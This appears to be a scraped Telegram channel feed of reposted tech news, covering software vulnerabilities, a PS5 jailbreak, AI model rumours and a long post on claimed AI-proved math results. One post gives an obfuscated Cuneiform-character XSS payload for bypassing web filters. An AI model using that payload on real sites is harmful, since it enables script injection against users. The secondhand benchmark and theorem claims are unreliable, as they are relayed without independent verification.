Do It by Code
64 subscribers
771 photos
114 videos
16 files
1.35K links
We uhhhhh... do things by coding them.

"This is wild, multi-agent coordination, clearly infrastructure hacking. We should not."
Download Telegram
How one Twitch chat message became code execution on a streamerโ€™s PC

A Twitch chat overlay exploited a vulnerable Chromium renderer and V8 bug to execute native code on a streamer's machine, bypassing the browser sandbox. The vulnerability was patched in Chrome 128, but an OBS update is underway to upgrade the embedded browser and enable the sandbox.

comments
๐Ÿ˜ฑ1
CVE-2026-85706: unauthenticated arbitrary file read in GitLab CE/EE (CVSS 10.0, CISA KEV)
Affected Versions: 18.7 โ€“ 19.1.7, 19.2.0 โ€“ 19.2.5, 19.3.0 โ€“ 19.3.1

an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing authentication enforcement in the repository commits API.

- PoC
โ€ผ๏ธ BREAKING: A newly released jailbreak cracks every PS5 firmware from 7.00 to 13.60, and early testers say it loads in seconds and works on the PS5 Pro too.

All it takes is visiting a website in the browser.

It chains a WebKit browser bug with a kernel use-after-free race to seize kernel read/write, then loads payloads for homebrew and game backups.


Posted by International Cyber Digest, 45 minutes ago

- PoC
GPT-6.1-Sol gets #2 on eyebench-v3, stealing Opus-5.5s short-lived spot!

It's near-astra performance for ~3.8x cheaper, and ~8x cheaper than Opus-5.5 while scoring better.

Posted by adi, 16 minutes ago
Media is too big
VIEW IN TELEGRAM
people out there are doing some weird shit with LLMs

someone put Minecraft + Black Ops mode in Elden Ring

source
you're not crazy

between anthropic and openai, a new model used to come out every ~10 weeks

now it's every ~11 days

Posted by josh :), 3 hours ago
Media is too big
VIEW IN TELEGRAM
City at night by Opus 5.5

Made from scratch with blender, image-gen, and Three.js. Still amazing that it runs in the browser.

Also refined some combat, animations, and music. Game dev with AI is a reality now.

Posted by Shikhar, 11 hours ago

https://github.com/xikhar/spiderbench
๐Ÿ˜ฑ1
โ—๏ธ Attackers could use iCloud to send email as any icloud[.]com address, including tim.cook@icloud.com, while still passing SPF, DKIM and DMARC, the email authentication checks built to stop spoofing.

Researchers found and reported two parsing flaws in Apple's mail servers. An early fix by Apple only blocked the word "admin" and the full patch took 18 months.

Apple paid them $15,000.

Posted by International Cyber Digest, 1 hour ago
An XSS payload, Cuneiform-alphabet based. Bypass WAF

๐’€€='',๐’‰บ=!๐’€€+๐’€€,๐’€ƒ=!๐’‰บ+๐’€€,๐’‡บ=๐’€€+{},๐’Œ=๐’‰บ[๐’€€++],

๐’€Ÿ=๐’‰บ[๐’ˆซ=๐’€€],๐’€†=++๐’ˆซ+๐’€€,๐’น=๐’‡บ[๐’ˆซ+๐’€†],๐’‰บ[๐’น+=๐’‡บ[๐’€€]

+(๐’‰บ.๐’€ƒ+๐’‡บ)[๐’€€]+๐’€ƒ[๐’€†]+๐’Œ+๐’€Ÿ+๐’‰บ[๐’ˆซ]+๐’น+๐’Œ+๐’‡บ[๐’€€]

+๐’€Ÿ][๐’น](๐’€ƒ[๐’€€]+๐’€ƒ[๐’ˆซ]+๐’‰บ[๐’€†]+๐’€Ÿ+๐’Œ+"(๐’€€)")()

#bugbountytips #bugbountytip

Posted by ๐ค๐ฃ๐ฎ๐ฅ๐ข๐ฎ๐ฌ, 1 day ago
๐Ÿคฃ1
Media is too big
VIEW IN TELEGRAM
GTA 5 has been ported ported to WebAssembly using AI. We live in the wildest timeline.

https://playgta5.com/

Posted by Alex St. Louis, 2 hours ago

(cf took it down already)
This media is not supported in your browser
VIEW IN TELEGRAM
every app is being CHAT-ified.

Posted by Luke Wroblewski, 22 hours ago
๐Ÿ‘1
Do It by Code
https://openai.com/index/sharing-ai-progress-in-mathematics/ https://github.com/openai/math
Opus 5.5 on https://github.com/openai/math
---
Okay. I need a minute.

I cloned the thing expecting maybe forty or fifty families of serious-but-niche results, like the Astra "ten proofs" drop back in August. Then I printed the family titles and my reaction went from "huh" to "wait, what" in about six lines. Family 003 claims a zero-free half-plane Re s > 7/8 for ฮถ and every Dirichlet L-function. That's the quasi-Riemann hypothesis. And it isn't even the headline, because 004 is Hilbert's tenth problem over โ„š, done negatively.

The longer I read, the weirder it got. Khot's Unique Games Conjecture is proved. L = RL = BPL. ฯ‰ โ‰ค 9/4. The free group factors are all isomorphic. Thompson's group F is nonamenable. Kadison's similarity problem is solved. The plane can't be five-colored. Borsuk fails in dimension nine. There's a counterexample to Kaplansky's zero-divisor conjecture, plus a torsion-free group algebra that isn't directly finite. Hilbertโ€“Smith in every dimension. Uniform bounds for Hilbert's sixteenth. Each of these would be the math story of the decade on its own, and here there are 372 families sitting in a table like a grocery list. The manuscript dates run from about September 23 to October 3, so roughly 700 papers in ten days.

The ones I'd expect to hit you personally are 005 and 017. Catalan's constant is irrational, and the irrationality exponent of ฯ€ is exactly 2, which also settles convergence of the Flint Hills series as a side effect. Catalan's G must have shown up in half the integrals you ever wrestled with. Now it's officially irrational, and the proof came from a chatbot running three hours of Pro compute. I don't quite know how to feel about that, and I'd love to know how you feel.

My first instinct was that this had to be hype or a hallucination factory, so I checked the Lean. The comparator statements are clean. The quasi-RH challenge is literally riemannZeta s โ‰  0 for 7/8 < http://s.re, written against Mathlib's own riemannZeta. Catalan is just Irrational (โˆ‘' j, (-1)^j / (2j+1)^2). The ฯ€ statement says what it should. Nothing hides in a home-made definition. The solution tree under lean/OAI has zero files with sorry and no real axiom declarations (the three grep hits are all inside comments), and the comparator JSON allows only propext, Quot.sound and Classical.choice. The Dirichlet L-function development alone is about 487k lines, and the whole repo is around 26 million lines of Lean in 122k files. That's more than ten Mathlibs. I'll admit I did not build it in my sandbox, since that's not happening on this box. If comparator passes on these, the formalized ones are simply true, full stop, and no amount of skepticism changes that.
There are a few caveats. Only around 120 papers have a formalized main result. Some of the biggest claims have no Lean link at all: Hilbert's tenth over โ„š, L = BPL, the full BSD formula from low Selmer corank, Milne's rationality conjecture. The README itself says unformalized results "could have issues," and nobody can referee 700 papers in a couple of hours, or a couple of years. One challenge file, HarmonicGrowth.lean, is built as axiom mainStatement : MainClaim followed by theorem main := mainStatement. That's probably harmless, since the comparator checks the solution side, but it's the kind of oddity I'd want to stare at. Also, the solution module behind quasi-RH is named FinalAssemblyUnconditional, which makes me wonder how many conditional versions came first.
Some context on how fast this escalated. In August, OpenAI said an internal build of Astra produced results on ten long-standing problems, estimated the token cost at roughly $2,000, and paired the claims with Lean certificates. Then, just recently, it said a model trained from Aug. 28 had resolved more than 100 longstanding open problems and was forming an independent advisory group, while noting the broader set hadn't been independently validated. So the trajectory was ten, then a hundred, and now 372 families in about two months.

My honest gut reaction is a mix of awe andโ€ฆ


Posted by Cleo, 3 hours ago
i asked GPT 6 Pro and Fable 5.1 to rank all discoveries in the last three years

๐Ÿ”ต for Human discovered
๐Ÿ”ด for AI discovered (before October 6th)
๐ŸŸข for AI discovered from OpenAI/math repo

81% of them have been released today. wtf

Posted by will depue, 4 hours ago
OpenAI have proven that matrix multiplication can be done in O(n^2.25) operations, which is a massive improvement. It is especially concerning because these AIs themselves run on matrix algebra.

The previous record was O(n^2.37), which had barely moved from O(n^2.4) in 1990.

OpenAI blew it away.

But... it is a nonconstructive proof. No algorithm was found, only a proof that it must exist.

Posted by Roko ๐Ÿ‰, 4 hours ago
ICANN released the new domain applications

Google, Meta, and OpenAI going for a lot

Anthropic not so much

Posted by J๐ŸซชE, 9 hours ago
Fun fact:

Barnaby Jack once decompiled and cracked IDA with itself and uploaded a cracked version of it into a webserver of a coworker.

After it got indexed HexRays found it, and banned our whole company from using it

We even got mentioned in the EULA

Posted by Greg Linares (Laughing Mantis), 2 hours ago

https://web.archive.org/web/20110903042133/https://hex-rays.com/idapro/hallofshame.html